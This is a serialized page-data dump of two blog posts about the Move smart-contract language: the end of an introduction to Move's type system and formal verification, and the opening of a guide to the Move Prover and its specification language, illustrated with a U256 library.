len",{"type":23,"tag":504,"props":10605,"children":10606},{"style":5058},[10607],{"type":29,"value":603},{"type":23,"tag":504,"props":10609,"children":10610},{"style":5041},[10611],{"type":29,"value":10612},"amounts_times_coins",{"type":23,"tag":504,"props":10614,"children":10615},{"style":5058},[10616],{"type":29,"value":5128},{"type":23,"tag":504,"props":10618,"children":10619},{"style":5047},[10620],{"type":29,"value":1224},{"type":23,"tag":504,"props":10622,"children":10623},{"style":5041},[10624],{"type":29,"value":5446},{"type":23,"tag":504,"props":10626,"children":10627},{"style":5058},[10628],{"type":29,"value":5061},{"type":23,"tag":504,"props":10630,"children":10631},{"class":5016,"line":5349},[10632,10636,10640,10644,10648],{"type":23,"tag":504,"props":10633,"children":10634},{"style":5041},[10635],{"type":29,"value":10598},{"type":23,"tag":504,"props":10637,"children":10638},{"style":5041},[10639],{"type":29,"value":5446},{"type":23,"tag":504,"props":10641,"children":10642},{"style":5047},[10643],{"type":29,"value":10242},{"type":23,"tag":504,"props":10645,"children":10646},{"style":5041},[10647],{"type":29,"value":10532},{"type":23,"tag":504,"props":10649,"children":10650},{"style":5058},[10651],{"type":29,"value":5061},{"type":23,"tag":504,"props":10653,"children":10654},{"class":5016,"line":5367},[10655,10659,10664,10669,10673,10677,10681,10685,10689,10693,10697,10702,10707,10711,10716,10720,10724,10728,10732,10736],{"type":23,"tag":504,"props":10656,"children":10657},{"style":5041},[10658],{"type":29,"value":10598},{"type":23,"tag":504,"props":10660,"children":10661},{"style":5041},[10662],{"type":29,"value":10663}," forall",{"type":23,"tag":504,"props":10665,"children":10666},{"style":5041},[10667],{"type":29,"value":10668}," j",{"type":23,"tag":504,"props":10670,"children":10671},{"style":5030},[10672],{"type":29,"value":5080},{"type":23,"tag":504,"props":10674,"children":10675},{"style":5083},[10676],{"type":29,"value":5086},{"type":23,"tag":504,"props":10678,"children":10679},{"style":5047},[10680],{"type":29,"value":5091},{"type":23,"tag":504,"props":10682,"children":10683},{"style":5041},[10684],{"type":29,"value":578},{"type":23,"tag":504,"props":10686,"children":10687},{"style":5047},[10688],{"type":29,"value":6533},{"type":23,"tag":504,"props":10690,"children":10691},{"style":5041},[10692],{"type":29,"value":10467},{"type":23,"tag":504,"props":10694,"children":10695},{"style":5058},[10696],{"type":29,"value":1380},{"type":23,"tag":504,"props":10698,"children":10699},{"style":5041},[10700],{"type":29,"value":10701},"j",{"type":23,"tag":504,"props":10703,"children":10704},{"style":5058},[10705],{"type":29,"value":10706},"] ",{"type":23,"tag":504,"props":10708,"children":10709},{"style":5047},[10710],{"type":29,"value":1224},{"type":23,"tag":504,"props":10712,"children":10713},{"style":5041},[10714],{"type":29,"value":10715}," input",{"type":23,"tag":504,"props":10717,"children":10718},{"style":5058},[10719],{"type":29,"value":1380},{"type":23,"tag":504,"props":10721,"children":10722},{"style":5041},[10723],{"type":29,"value":10701},{"type":23,"tag":504,"props":10725,"children":10726},{"style":5058},[10727],{"type":29,"value":10706},{"type":23,"tag":504,"props":10729,"children":10730},{"style":5047},[10731],{"type":29,"value":6613},{"type":23,"tag":504,"props":10733,"children":10734},{"style":5041},[10735],{"type":29,"value":10532},{"type":23,"tag":504,"props":10737,"children":10738},{"style":5058},[10739],{"type":29,"value":5061},{"type":23,"tag":504,"props":10741,"children":10742},{"class":5016,"line":5388},[10743],{"type":23,"tag":504,"props":10744,"children":10745},{"style":5058},[10746],{"type":29,"value":10747},"          };\n",{"type":23,"tag":504,"props":10749,"children":10750},{"class":5016,"line":5397},[10751,10756,10760,10765,10769],{"type":23,"tag":504,"props":10752,"children":10753},{"style":5058},[10754],{"type":29,"value":10755},"          (",{"type":23,"tag":504,"props":10757,"children":10758},{"style":5041},[10759],{"type":29,"value":578},{"type":23,"tag":504,"props":10761,"children":10762},{"style":5047},[10763],{"type":29,"value":10764}," \u003C",{"type":23,"tag":504,"props":10766,"children":10767},{"style":5041},[10768],{"type":29,"value":10532},{"type":23,"tag":504,"props":10770,"children":10771},{"style":5058},[10772],{"type":29,"value":5200},{"type":23,"tag":504,"props":10774,"children":10775},{"class":5016,"line":5649},[10776],{"type":23,"tag":504,"props":10777,"children":10778},{"style":5058},[10779],{"type":29,"value":10780},"      }) {\n",{"type":23,"tag":504,"props":10782,"children":10783},{"class":5016,"line":5666},[10784,10789,10793,10798],{"type":23,"tag":504,"props":10785,"children":10786},{"style":5058},[10787],{"type":29,"value":10788},"          vector",{"type":23,"tag":504,"props":10790,"children":10791},{"style":5047},[10792],{"type":29,"value":5530},{"type":23,"tag":504,"props":10794,"children":10795},{"style":5139},[10796],{"type":29,"value":10797},"push_back",{"type":23,"tag":504,"props":10799,"children":10800},{"style":5058},[10801],{"type":29,"value":5512},{"type":23,"tag":504,"props":10803,"children":10804},{"class":5016,"line":5683},[10805,10810,10814,10818],{"type":23,"tag":504,"props":10806,"children":10807},{"style":5047},[10808],{"type":29,"value":10809},"              &",{"type":23,"tag":504,"props":10811,"children":10812},{"style":5030},[10813],{"type":29,"value":5783},{"type":23,"tag":504,"props":10815,"children":10816},{"style":5041},[10817],{"type":29,"value":10467},{"type":23,"tag":504,"props":10819,"children":10820},{"style":5058},[10821],{"type":29,"value":5557},{"type":23,"tag":504,"props":10823,"children":10824},{"class":5016,"line":5696},[10825,10830,10834,10839,10843,10848,10852,10856,10860,10865,10869,10874,10878,10883,10888,10893,10897,10901,10905,10910,10914,10918],{"type":23,"tag":504,"props":10826,"children":10827},{"style":5058},[10828],{"type":29,"value":10829},"              (",{"type":23,"tag":504,"props":10831,"children":10832},{"style":5047},[10833],{"type":29,"value":6613},{"type":23,"tag":504,"props":10835,"children":10836},{"style":5058},[10837],{"type":29,"value":10838},"vector",{"type":23,"tag":504,"props":10840,"children":10841},{"style":5047},[10842],{"type":29,"value":5530},{"type":23,"tag":504,"props":10844,"children":10845},{"style":5139},[10846],{"type":29,"value":10847},"borrow",{"type":23,"tag":504,"props":10849,"children":10850},{"style":5058},[10851],{"type":29,"value":603},{"type":23,"tag":504,"props":10853,"children":10854},{"style":5047},[10855],{"type":29,"value":5151},{"type":23,"tag":504,"props":10857,"children":10858},{"style":5041},[10859],{"type":29,"value":10412},{"type":23,"tag":504,"props":10861,"children":10862},{"style":5058},[10863],{"type":29,"value":10864},", (",{"type":23,"tag":504,"props":10866,"children":10867},{"style":5041},[10868],{"type":29,"value":578},{"type":23,"tag":504,"props":10870,"children":10871},{"style":5030},[10872],{"type":29,"value":10873}," as",{"type":23,"tag":504,"props":10875,"children":10876},{"style":5467},[10877],{"type":29,"value":7905},{"type":23,"tag":504,"props":10879,"children":10880},{"style":5058},[10881],{"type":29,"value":10882},")) ",{"type":23,"tag":504,"props":10884,"children":10885},{"style":5030},[10886],{"type":29,"value":10887},"as",{"type":23,"tag":504,"props":10889,"children":10890},{"style":5467},[10891],{"type":29,"value":10892}," u128",{"type":23,"tag":504,"props":10894,"children":10895},{"style":5058},[10896],{"type":29,"value":5128},{"type":23,"tag":504,"props":10898,"children":10899},{"style":5047},[10900],{"type":29,"value":6613},{"type":23,"tag":504,"props":10902,"children":10903},{"style":5058},[10904],{"type":29,"value":5110},{"type":23,"tag":504,"props":10906,"children":10907},{"style":5041},[10908],{"type":29,"value":10909},"n_coins",{"type":23,"tag":504,"props":10911,"children":10912},{"style":5030},[10913],{"type":29,"value":10873},{"type":23,"tag":504,"props":10915,"children":10916},{"style":5467},[10917],{"type":29,"value":10892},{"type":23,"tag":504,"props":10919,"children":10920},{"style":5058},[10921],{"type":29,"value":5200},{"type":23,"tag":504,"props":10923,"children":10924},{"class":5016,"line":5705},[10925],{"type":23,"tag":504,"props":10926,"children":10927},{"style":5058},[10928],{"type":29,"value":10929},"          );\n",{"type":23,"tag":504,"props":10931,"children":10932},{"class":5016,"line":5728},[10933,10938,10942,10946,10951,10955],{"type":23,"tag":504,"props":10934,"children":10935},{"style":5041},[10936],{"type":29,"value":10937},"          i",{"type":23,"tag":504,"props":10939,"children":10940},{"style":5047},[10941],{"type":29,"value":5050},{"type":23,"tag":504,"props":10943,"children":10944},{"style":5041},[10945],{"type":29,"value":5446},{"type":23,"tag":504,"props":10947,"children":10948},{"style":5047},[10949],{"type":29,"value":10950}," +",{"type":23,"tag":504,"props":10952,"children":10953},{"style":5083},[10954],{"type":29,"value":6565},{"type":23,"tag":504,"props":10956,"children":10957},{"style":5058},[10958],{"type":29,"value":5061},{"type":23,"tag":504,"props":10960,"children":10961},{"class":5016,"line":5737},[10962],{"type":23,"tag":504,"props":10963,"children":10964},{"style":5058},[10965],{"type":29,"value":10966},"      };\n",{"type":23,"tag":504,"props":10968,"children":10969},{"class":5016,"line":5746},[10970,10975],{"type":23,"tag":504,"props":10971,"children":10972},{"style":5041},[10973],{"type":29,"value":10974},"      spec",{"type":23,"tag":504,"props":10976,"children":10977},{"style":5058},[10978],{"type":29,"value":5333},{"type":23,"tag":504,"props":10980,"children":10981},{"class":5016,"line":5813},[10982,10987,10991,10995,10999],{"type":23,"tag":504,"props":10983,"children":10984},{"style":5041},[10985],{"type":29,"value":10986},"          assert",{"type":23,"tag":504,"props":10988,"children":10989},{"style":5041},[10990],{"type":29,"value":5446},{"type":23,"tag":504,"props":10992,"children":10993},{"style":5047},[10994],{"type":29,"value":5324},{"type":23,"tag":504,"props":10996,"children":10997},{"style":5041},[10998],{"type":29,"value":10532},{"type":23,"tag":504,"props":11000,"children":11001},{"style":5058},[11002],{"type":29,"value":5061},{"type":23,"tag":504,"props":11004,"children":11005},{"class":5016,"line":5821},[11006,11010,11014,11018,11022,11026,11030,11034],{"type":23,"tag":504,"props":11007,"children":11008},{"style":5041},[11009],{"type":29,"value":10986},{"type":23,"tag":504,"props":11011,"children":11012},{"style":5139},[11013],{"type":29,"value":10603},{"type":23,"tag":504,"props":11015,"children":11016},{"style":5058},[11017],{"type":29,"value":603},{"type":23,"tag":504,"props":11019,"children":11020},{"style":5041},[11021],{"type":29,"value":10412},{"type":23,"tag":504,"props":11023,"children":11024},{"style":5058},[11025],{"type":29,"value":5128},{"type":23,"tag":504,"props":11027,"children":11028},{"style":5047},[11029],{"type":29,"value":1224},{"type":23,"tag":504,"props":11031,"children":11032},{"style":5041},[11033],{"type":29,"value":10532},{"type":23,"tag":504,"props":11035,"children":11036},{"style":5058},[11037],{"type":29,"value":5061},{"type":23,"tag":504,"props":11039,"children":11040},{"class":5016,"line":5851},[11041],{"type":23,"tag":504,"props":11042,"children":11043},{"style":5058},[11044],{"type":29,"value":10966},{"type":23,"tag":504,"props":11046,"children":11047},{"class":5016,"line":5859},[11048],{"type":23,"tag":504,"props":11049,"children":11050},{"style":5041},[11051],{"type":29,"value":11052},"      amounts_times_coins\n",{"type":23,"tag":504,"props":11054,"children":11055},{"class":5016,"line":5891},[11056],{"type":23,"tag":504,"props":11057,"children":11058},{"style":5058},[11059],{"type":29,"value":7917},{"type":23,"tag":504,"props":11061,"children":11062},{"class":5016,"line":5899},[11063,11067,11071],{"type":23,"tag":504,"props":11064,"children":11065},{"style":5041},[11066],{"type":29,"value":10190},{"type":23,"tag":504,"props":11068,"children":11069},{"style":5041},[11070],{"type":29,"value":10403},{"type":23,"tag":504,"props":11072,"children":11073},{"style":5058},[11074],{"type":29,"value":5333},{"type":23,"tag":504,"props":11076,"children":11077},{"class":5016,"line":5959},[11078,11082,11087],{"type":23,"tag":504,"props":11079,"children":11080},{"style":5041},[11081],{"type":29,"value":10206},{"type":23,"tag":504,"props":11083,"children":11084},{"style":5041},[11085],{"type":29,"value":11086}," opaque",{"type":23,"tag":504,"props":11088,"children":11089},{"style":5058},[11090],{"type":29,"value":5061},{"type":23,"tag":504,"props":11092,"children":11094},{"class":5016,"line":11093},27,[11095,11100,11105],{"type":23,"tag":504,"props":11096,"children":11097},{"style":5041},[11098],{"type":29,"value":11099},"      aborts_if",{"type":23,"tag":504,"props":11101,"children":11102},{"style":5030},[11103],{"type":29,"value":11104}," false",{"type":23,"tag":504,"props":11106,"children":11107},{"style":5058},[11108],{"type":29,"value":5061},{"type":23,"tag":504,"props":11110,"children":11112},{"class":5016,"line":11111},28,[11113,11117,11121,11125,11130,11134,11138,11142,11146,11150],{"type":23,"tag":504,"props":11114,"children":11115},{"style":5041},[11116],{"type":29,"value":10232},{"type":23,"tag":504,"props":11118,"children":11119},{"style":5139},[11120],{"type":29,"value":10603},{"type":23,"tag":504,"props":11122,"children":11123},{"style":5058},[11124],{"type":29,"value":603},{"type":23,"tag":504,"props":11126,"children":11127},{"style":5041},[11128],{"type":29,"value":11129},"result",{"type":23,"tag":504,"props":11131,"children":11132},{"style":5058},[11133],{"type":29,"value":5128},{"type":23,"tag":504,"props":11135,"children":11136},{"style":5047},[11137],{"type":29,"value":1224},{"type":23,"tag":504,"props":11139,"children":11140},{"style":5139},[11141],{"type":29,"value":10603},{"type":23,"tag":504,"props":11143,"children":11144},{"style":5058},[11145],{"type":29,"value":603},{"type":23,"tag":504,"props":11147,"children":11148},{"style":5041},[11149],{"type":29,"value":10412},{"type":23,"tag":504,"props":11151,"children":11152},{"style":5058},[11153],{"type":29,"value":5888},{"type":23,"tag":504,"props":11155,"children":11157},{"class":5016,"line":11156},29,[11158,11162,11166,11170,11174,11178,11182,11187,11191,11195,11199,11203,11208,11212,11216,11220,11224,11228,11232,11236,11240,11244,11248,11252,11256],{"type":23,"tag":504,"props":11159,"children":11160},{"style":5041},[11161],{"type":29,"value":10232},{"type":23,"tag":504,"props":11163,"children":11164},{"style":5041},[11165],{"type":29,"value":10663},{"type":23,"tag":504,"props":11167,"children":11168},{"style":5041},[11169],{"type":29,"value":10668},{"type":23,"tag":504,"props":11171,"children":11172},{"style":5030},[11173],{"type":29,"value":5080},{"type":23,"tag":504,"props":11175,"children":11176},{"style":5083},[11177],{"type":29,"value":5086},{"type":23,"tag":504,"props":11179,"children":11180},{"style":5047},[11181],{"type":29,"value":5091},{"type":23,"tag":504,"props":11183,"children":11184},{"style":5139},[11185],{"type":29,"value":11186},"len",{"type":23,"tag":504,"props":11188,"children":11189},{"style":5058},[11190],{"type":29,"value":603},{"type":23,"tag":504,"props":11192,"children":11193},{"style":5041},[11194],{"type":29,"value":10412},{"type":23,"tag":504,"props":11196,"children":11197},{"style":5058},[11198],{"type":29,"value":933},{"type":23,"tag":504,"props":11200,"children":11201},{"style":5047},[11202],{"type":29,"value":6533},{"type":23,"tag":504,"props":11204,"children":11205},{"style":5041},[11206],{"type":29,"value":11207}," result",{"type":23,"tag":504,"props":11209,"children":11210},{"style":5058},[11211],{"type":29,"value":1380},{"type":23,"tag":504,"props":11213,"children":11214},{"style":5041},[11215],{"type":29,"value":10701},{"type":23,"tag":504,"props":11217,"children":11218},{"style":5058},[11219],{"type":29,"value":10706},{"type":23,"tag":504,"props":11221,"children":11222},{"style":5047},[11223],{"type":29,"value":1224},{"type":23,"tag":504,"props":11225,"children":11226},{"style":5041},[11227],{"type":29,"value":10715},{"type":23,"tag":504,"props":11229,"children":11230},{"style":5058},[11231],{"type":29,"value":1380},{"type":23,"tag":504,"props":11233,"children":11234},{"style":5041},[11235],{"type":29,"value":10701},{"type":23,"tag":504,"props":11237,"children":11238},{"style":5058},[11239],{"type":29,"value":10706},{"type":23,"tag":504,"props":11241,"children":11242},{"style":5047},[11243],{"type":29,"value":6613},{"type":23,"tag":504,"props":11245,"children":11246},{"style":5139},[11247],{"type":29,"value":10603},{"type":23,"tag":504,"props":11249,"children":11250},{"style":5058},[11251],{"type":29,"value":603},{"type":23,"tag":504,"props":11253,"children":11254},{"style":5041},[11255],{"type":29,"value":10412},{"type":23,"tag":504,"props":11257,"children":11258},{"style":5058},[11259],{"type":29,"value":5888},{"type":23,"tag":504,"props":11261,"children":11263},{"class":5016,"line":11262},30,[11264],{"type":23,"tag":504,"props":11265,"children":11266},{"style":5058},[11267],{"type":29,"value":7917},{"type":23,"tag":24,"props":11269,"children":11270},{"id":7353},[11271],{"type":29,"value":7356},{"type":23,"tag":32,"props":11273,"children":11274},{},[11275],{"type":29,"value":11276},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":23,"tag":32,"props":11278,"children":11279},{},[11280],{"type":29,"value":11281},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":23,"tag":32,"props":11283,"children":11284},{},[11285,11287,11294],{"type":29,"value":11286},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":23,"tag":68,"props":11288,"children":11291},{"href":11289,"rel":11290},"https://twitter.com/notdeghost/",[72],[11292],{"type":29,"value":11293},"@notdeghost",{"type":29,"value":357},{"type":23,"tag":7410,"props":11296,"children":11297},{},[11298],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":11300},[11301,11302,11303],{"id":7804,"depth":4868,"text":7807},{"id":9841,"depth":4868,"text":9844},{"id":7353,"depth":4868,"text":7356},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":11308,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":11309,"description":11310,"author":7765,"image":11311,"date":11314,"isFeatured":15,"tags":11315,"onBlogPage":15,"body":11318,"_type":4892,"_id":15659,"_source":4894,"_file":15660,"_stem":15661,"_extension":4897},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":11312,"height":11313,"width":7769},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[11316,11317],"move","tutorial",{"type":20,"children":11319,"toc":15645},[11320,11338,11350,11356,11361,11366,11371,11380,11385,11399,11404,11410,11415,11429,11434,11571,11584,11589,11610,11643,11654,11659,11664,11674,11687,12029,12043,12061,12106,12119,12138,12310,12315,12320,12345,12350,12951,12963,12975,12980,12994,12999,13012,13052,13057,13089,13094,13099,13112,13497,13524,13731,13736,13748,13985,13990,13998,14017,14365,14370,14527,14532,14539,14553,14559,14564,14569,14575,14588,14820,14826,14831,14851,15120,15125,15131,15143,15148,15162,15168,15204,15304,15325,15331,15336,15341,15593,15598,15616,15620,15625,15630,15641],{"type":23,"tag":32,"props":11321,"children":11322},{},[11323,11325,11329,11331,11336],{"type":29,"value":11324},"Formal verification -- a powerful tool for ",{"type":23,"tag":4321,"props":11326,"children":11327},{},[11328],{"type":29,"value":4351},{"type":29,"value":11330}," the correctness of your programs. How does it ",{"type":23,"tag":4321,"props":11332,"children":11333},{},[11334],{"type":29,"value":11335},"actually",{"type":29,"value":11337}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":23,"tag":32,"props":11339,"children":11340},{},[11341,11343,11348],{"type":29,"value":11342},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":23,"tag":4321,"props":11344,"children":11345},{},[11346],{"type":29,"value":11347},"all",{"type":29,"value":11349}," possible inputs.",{"type":23,"tag":24,"props":11351,"children":11353},{"id":11352},"move-prover",[11354],{"type":29,"value":11355},"Move Prover",{"type":23,"tag":32,"props":11357,"children":11358},{},[11359],{"type":29,"value":11360},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":23,"tag":32,"props":11362,"children":11363},{},[11364],{"type":29,"value":11365},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":23,"tag":32,"props":11367,"children":11368},{},[11369],{"type":29,"value":11370},"The architecture of the tool consists of multiple components as illustrated below.",{"type":23,"tag":32,"props":11372,"children":11373},{},[11374],{"type":23,"tag":199,"props":11375,"children":11379},{"alt":11376,"src":11377,"title":11378},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":23,"tag":32,"props":11381,"children":11382},{},[11383],{"type":29,"value":11384},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":23,"tag":32,"props":11386,"children":11387},{},[11388,11390,11397],{"type":29,"value":11389},"The model is translated into an intermediate language, called ",{"type":23,"tag":68,"props":11391,"children":11394},{"href":11392,"rel":11393},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[72],[11395],{"type":29,"value":11396},"Boogie",{"type":29,"value":11398},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":23,"tag":32,"props":11400,"children":11401},{},[11402],{"type":29,"value":11403},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":23,"tag":24,"props":11405,"children":11407},{"id":11406},"move-specification-language",[11408],{"type":29,"value":11409},"Move Specification Language",{"type":23,"tag":32,"props":11411,"children":11412},{},[11413],{"type":29,"value":11414},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":23,"tag":32,"props":11416,"children":11417},{},[11418,11420,11427],{"type":29,"value":11419},"To better understand how to use the MSL, we will use ",{"type":23,"tag":68,"props":11421,"children":11424},{"href":11422,"rel":11423},"https://github.com/pontem-network/u256",[72],[11425],{"type":29,"value":11426},"Pontem's U256 library",{"type":29,"value":11428},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":23,"tag":32,"props":11430,"children":11431},{},[11432],{"type":29,"value":11433},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":23,"tag":4743,"props":11435,"children":11437},{"code":11436,"language":5008,"meta":7,"className":5009,"style":7},"struct U256 has copy, drop, store {\n    v0: u64,\n    v1: u64,\n    v2: u64,\n    v3: u64,\n}\n",[11438],{"type":23,"tag":154,"props":11439,"children":11440},{"__ignoreMap":7},[11441,11484,11504,11524,11544,11564],{"type":23,"tag":504,"props":11442,"children":11443},{"class":5016,"line":5017},[11444,11449,11453,11458,11463,11467,11472,11476,11480],{"type":23,"tag":504,"props":11445,"children":11446},{"style":5030},[11447],{"type":29,"value":11448},"struct",{"type":23,"tag":504,"props":11450,"children":11451},{"style":5467},[11452],{"type":29,"value":6773},{"type":23,"tag":504,"props":11454,"children":11455},{"style":5041},[11456],{"type":29,"value":11457}," has",{"type":23,"tag":504,"props":11459,"children":11460},{"style":5041},[11461],{"type":29,"value":11462}," copy",{"type":23,"tag":504,"props":11464,"children":11465},{"style":5058},[11466],{"type":29,"value":4367},{"type":23,"tag":504,"props":11468,"children":11469},{"style":5041},[11470],{"type":29,"value":11471},"drop",{"type":23,"tag":504,"props":11473,"children":11474},{"style":5058},[11475],{"type":29,"value":4367},{"type":23,"tag":504,"props":11477,"children":11478},{"style":5041},[11479],{"type":29,"value":7986},{"type":23,"tag":504,"props":11481,"children":11482},{"style":5058},[11483],{"type":29,"value":5333},{"type":23,"tag":504,"props":11485,"children":11486},{"class":5016,"line":4868},[11487,11492,11496,11500],{"type":23,"tag":504,"props":11488,"children":11489},{"style":5041},[11490],{"type":29,"value":11491},"    v0",{"type":23,"tag":504,"props":11493,"children":11494},{"style":5047},[11495],{"type":29,"value":6533},{"type":23,"tag":504,"props":11497,"children":11498},{"style":5467},[11499],{"type":29,"value":7905},{"type":23,"tag":504,"props":11501,"children":11502},{"style":5058},[11503],{"type":29,"value":5557},{"type":23,"tag":504,"props":11505,"children":11506},{"class":5016,"line":4876},[11507,11512,11516,11520],{"type":23,"tag":504,"props":11508,"children":11509},{"style":5041},[11510],{"type":29,"value":11511},"    v1",{"type":23,"tag":504,"props":11513,"children":11514},{"style":5047},[11515],{"type":29,"value":6533},{"type":23,"tag":504,"props":11517,"children":11518},{"style":5467},[11519],{"type":29,"value":7905},{"type":23,"tag":504,"props":11521,"children":11522},{"style":5058},[11523],{"type":29,"value":5557},{"type":23,"tag":504,"props":11525,"children":11526},{"class":5016,"line":5099},[11527,11532,11536,11540],{"type":23,"tag":504,"props":11528,"children":11529},{"style":5041},[11530],{"type":29,"value":11531},"    v2",{"type":23,"tag":504,"props":11533,"children":11534},{"style":5047},[11535],{"type":29,"value":6533},{"type":23,"tag":504,"props":11537,"children":11538},{"style":5467},[11539],{"type":29,"value":7905},{"type":23,"tag":504,"props":11541,"children":11542},{"style":5058},[11543],{"type":29,"value":5557},{"type":23,"tag":504,"props":11545,"children":11546},{"class":5016,"line":5203},[11547,11552,11556,11560],{"type":23,"tag":504,"props":11548,"children":11549},{"style":5041},[11550],{"type":29,"value":11551},"    v3",{"type":23,"tag":504,"props":11553,"children":11554},{"style":5047},[11555],{"type":29,"value":6533},{"type":23,"tag":504,"props":11557,"children":11558},{"style":5467},[11559],{"type":29,"value":7905},{"type":23,"tag":504,"props":11561,"children":11562},{"style":5058},[11563],{"type":29,"value":5557},{"type":23,"tag":504,"props":11565,"children":11566},{"class":5016,"line":5308},[11567],{"type":23,"tag":504,"props":11568,"children":11569},{"style":5058},[11570],{"type":29,"value":5965},{"type":23,"tag":32,"props":11572,"children":11573},{},[11574,11576,11582],{"type":29,"value":11575},"Now, let's consider the ",{"type":23,"tag":154,"props":11577,"children":11579},{"className":11578},[],[11580],{"type":29,"value":11581},"add(a: U256, b: U256): U256",{"type":29,"value":11583}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":23,"tag":32,"props":11585,"children":11586},{},[11587],{"type":29,"value":11588},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":23,"tag":32,"props":11590,"children":11591},{},[11592,11594,11600,11602,11609],{"type":29,"value":11593},"For example, if your file is ",{"type":23,"tag":154,"props":11595,"children":11597},{"className":11596},[],[11598],{"type":29,"value":11599},"sources/u256.move",{"type":29,"value":11601},", you can put specifications in ",{"type":23,"tag":68,"props":11603,"children":11606},{"href":11604,"rel":11605},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[72],[11607],{"type":29,"value":11608},"sources/u256.spec.move",{"type":29,"value":357},{"type":23,"tag":4743,"props":11611,"children":11613},{"code":11612,"language":5008,"meta":7,"className":5009,"style":7},"spec add { ... }\n",[11614],{"type":23,"tag":154,"props":11615,"children":11616},{"__ignoreMap":7},[11617],{"type":23,"tag":504,"props":11618,"children":11619},{"class":5016,"line":5017},[11620,11624,11629,11634,11638],{"type":23,"tag":504,"props":11621,"children":11622},{"style":5041},[11623],{"type":29,"value":10320},{"type":23,"tag":504,"props":11625,"children":11626},{"style":5041},[11627],{"type":29,"value":11628}," add",{"type":23,"tag":504,"props":11630,"children":11631},{"style":5058},[11632],{"type":29,"value":11633}," { ",{"type":23,"tag":504,"props":11635,"children":11636},{"style":5047},[11637],{"type":29,"value":853},{"type":23,"tag":504,"props":11639,"children":11640},{"style":5058},[11641],{"type":29,"value":11642}," }\n",{"type":23,"tag":32,"props":11644,"children":11645},{},[11646,11648,11653],{"type":29,"value":11647},"The specifications placed inside the specification blocks are considered ",{"type":23,"tag":4321,"props":11649,"children":11650},{},[11651],{"type":29,"value":11652},"Expressions",{"type":29,"value":357},{"type":23,"tag":320,"props":11655,"children":11657},{"id":11656},"expressions",[11658],{"type":29,"value":11652},{"type":23,"tag":32,"props":11660,"children":11661},{},[11662],{"type":29,"value":11663},"Let's go over some common expressions.",{"type":23,"tag":32,"props":11665,"children":11666},{},[11667,11672],{"type":23,"tag":154,"props":11668,"children":11670},{"className":11669},[],[11671],{"type":29,"value":10370},{"type":29,"value":11673}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":23,"tag":32,"props":11675,"children":11676},{},[11677,11679,11685],{"type":29,"value":11678},"For example, the ",{"type":23,"tag":154,"props":11680,"children":11682},{"className":11681},[],[11683],{"type":29,"value":11684},"add",{"type":29,"value":11686}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":23,"tag":4743,"props":11688,"children":11690},{"code":11689,"language":5008,"meta":7,"className":5009,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n    a.v0 +\n    a.v1 * P64 +\n    a.v2 * P64 * P64 +\n    a.v3 * P64 * P64 * P64\n}\n\nspec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[11691],{"type":23,"tag":154,"props":11692,"children":11693},{"__ignoreMap":7},[11694,11728,11735,11784,11806,11835,11872,11913,11920,11927,11942,12022],{"type":23,"tag":504,"props":11695,"children":11696},{"class":5016,"line":5017},[11697,11702,11707,11711,11715,11719,11724],{"type":23,"tag":504,"props":11698,"children":11699},{"style":5030},[11700],{"type":29,"value":11701},"const",{"type":23,"tag":504,"props":11703,"children":11704},{"style":5058},[11705],{"type":29,"value":11706}," P64",{"type":23,"tag":504,"props":11708,"children":11709},{"style":5047},[11710],{"type":29,"value":6533},{"type":23,"tag":504,"props":11712,"children":11713},{"style":5467},[11714],{"type":29,"value":10892},{"type":23,"tag":504,"props":11716,"children":11717},{"style":5047},[11718],{"type":29,"value":5050},{"type":23,"tag":504,"props":11720,"children":11721},{"style":5083},[11722],{"type":29,"value":11723}," 